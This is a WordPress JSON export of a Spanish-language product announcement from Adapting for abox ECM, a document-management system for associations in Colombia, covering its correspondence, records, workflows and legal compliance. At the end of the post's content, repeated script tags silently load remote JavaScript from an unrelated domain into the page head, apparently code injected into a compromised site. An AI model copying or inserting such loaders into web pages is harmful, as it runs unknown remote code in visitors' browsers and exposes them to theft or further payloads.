{"id":1726,"date":"2016-02-10T22:27:31","date_gmt":"2016-02-11T03:27:31","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1726"},"modified":"2026-03-20T04:15:04","modified_gmt":"2026-03-20T09:15:04","slug":"vertical-abox-ecm-para-el-sector-asociativo","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/vertical-abox-ecm-para-el-sector-asociativo\/","title":{"rendered":"Vertical de abox ECM para el sector asociativo"},"content":{"rendered":"<p style=\"text-align: justify;\">El Laboratorio de Adapting ha comunicado la disponibilidad de un nuevo modelo vertical de abox ECM personalizado al<strong> sector asociativo<\/strong>, con todas las ventajas de su plataforma de gesti\u00f3n documental profesional gen\u00e9rica.<\/p>\n<blockquote><p><strong>abox-ECM -sector asociativo<\/strong><\/p>\n<p>La soluci\u00f3n profesional para gestionar los procesos de negocio de una Asociaci\u00f3n mediante expedientes virtuales. Llave en mano, incluye soluci\u00f3n de correspondencia.<\/p><\/blockquote>\n<h3 style=\"text-align: justify;\"><strong>Funcionalidades del modelo vertical:<\/strong><\/h3>\n<p style=\"text-align: justify;\"><strong>Ventanilla \u00fanica de correspondencia: <a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1535 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte-300x202.jpg\" alt=\"persona-atendiendo-expte\" width=\"300\" height=\"202\" \/><\/a><br \/>\n<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>Registros y consecutivos oficiales de entrada\/ salida<\/li>\n<li>Automatizada con esc\u00e1ner, impresora stickers, OCR y lector de c\u00f3digos de barras<\/li>\n<li>Control de plazos de respuesta legal<\/li>\n<li>Clasificaci\u00f3n autom\u00e1tica en expedientes por oficina<\/li>\n<li>Gesti\u00f3n electr\u00f3nica de documentos internos<\/li>\n<li>Indicadores de correspondencia<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Repositorio virtual \u00fanico y potente buscador:<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>Acceso a la documentaci\u00f3n de todas las sedes desde cualquier lugar y a cualquier hora.<\/li>\n<li>100% web, utilizaci\u00f3n desde un sencillo navegador web.<\/li>\n<li>B\u00fasquedas exactas o aproximadas por c\u00e9dula, nombre, fecha, radicado o cualquier otro metadato. B\u00fasquedas dentro del texto del documento (ficheros indexables).<\/li>\n<li>Gesti\u00f3n de usuarios, grupos, roles y permisos<\/li>\n<li>Gesti\u00f3n de series y tipos doc. por procesos de negocio<\/li>\n<li>Workflows de clasificaci\u00f3n, revisi\u00f3n, aprobaci\u00f3n y firma<\/li>\n<li>Informes por procesos, exportables<\/li>\n<li>Importador\/ exportador de expedientes<\/li>\n<li>Addins Word, Excel y Outlook. Impresora Virtual.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/02\/imagen_sector_asociativo.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1730 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/02\/imagen_sector_asociativo-300x136.jpg\" alt=\"imagen_sector_asociativo\" width=\"300\" height=\"136\" \/><\/a>Expediente del Asociado:<\/strong><\/p>\n<p style=\"text-align: justify;\">Un solo expediente con todos los documentos esperados y subcarpetas para todas las solicitudes y servicios contratados por el asociado. Busque por c\u00e9dula y le aparecer\u00e1n todos los formatos de afiliaci\u00f3n, solicitudes de servicio y comprobantes contables.<\/p>\n<p style=\"text-align: justify;\"><strong>Expedientes de productos del Asociado: Cr\u00e9ditos, Servicios y Ahorros:<\/strong><\/p>\n<p style=\"text-align: justify;\">Un expediente por categor\u00eda del servicio con los documentos exigidos para tramitar cualquier solicitud del asociado. Podr\u00e1 emplear estos expedientes como plantillas para recoger, clasificar y archivar todos los documentos requeridos en cualquier tr\u00e1mite.<\/p>\n<p style=\"text-align: justify;\"><strong>Gesti\u00f3n de facturas de proveedores:<\/strong><\/p>\n<p style=\"text-align: justify;\">Un workflow para registrar, contabilizar y pagar en plazo las facturas y cuentas de cobro de proveedores y suministros.<\/p>\n<p style=\"text-align: justify;\"><strong>Gesti\u00f3n de PQRs:<\/strong><\/p>\n<p style=\"text-align: justify;\">Un workflow para registrar peticiones de cualquier tipo, derechos de petici\u00f3n, tutelas, reclamaciones, citas judiciales, etc., anotando los plazos l\u00edmite de respuesta para no olvidarlos. Adem\u00e1s, incluye el control de las respuestas que pueden ser radicadas como salidas oficiales.<\/p>\n<p style=\"text-align: justify;\"><strong>Gesti\u00f3n de pagos (comprobantes contables):<\/strong><\/p>\n<p style=\"text-align: justify;\">Un workflow para crear, revisar, aprobar y abonar los pagos procedentes de las operaciones realizadas con los asociados. Se\u00a0 emplea la impresora virtual abox-Hotprinter para minimizar los tiempos de proceso requeridos.<\/p>\n<h3 style=\"text-align: justify;\"><strong>Opciones:<\/strong><\/h3>\n<ul style=\"text-align: justify;\">\n<li>Formularios para generar documentos a partir de plantillas sin papel<\/li>\n<li>Integraci\u00f3n con sistema contable, facturaci\u00f3n ele ctr\u00f3nica y otros procesos<\/li>\n<li>Gesti\u00f3n electr\u00f3nica de los inventarios f\u00edsicos<\/li>\n<\/ul>\n<h3 style=\"text-align: justify;\"><strong>Fases recomendadas:<\/strong><\/h3>\n<ol style=\"text-align: justify;\">\n<li>Digitalizaci\u00f3n de los procesos f\u00edsicos<\/li>\n<li>Optimizaci\u00f3n de procesos e integraci\u00f3n de aplicaciones<\/li>\n<li>Archivo f\u00edsico<\/li>\n<li>Extranet del asociado<\/li>\n<\/ol>\n<h3 style=\"text-align: justify;\"><strong>Cumplimiento legal:<\/strong><\/h3>\n<p style=\"text-align: justify;\">En Colombia, el producto cumple con los requisitos del Archivo General de la Naci\u00f3n para la correspondencia (Acuerdo 060), Ley 594 de 2000 (Ley de Archivos) y otros decretos y recomendaciones sobre Cero Papel. El producto est\u00e1 basado en requisitos funcionales de Moreq.<\/p>\n<p style=\"text-align: justify;\">Pulse aqu\u00ed para descargar: <a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/02\/Abox_Sector_Asociativo.pdf\" target=\"_blank\" rel=\"noopener\">Brochure Abox Sector Asociativo<\/a><\/p>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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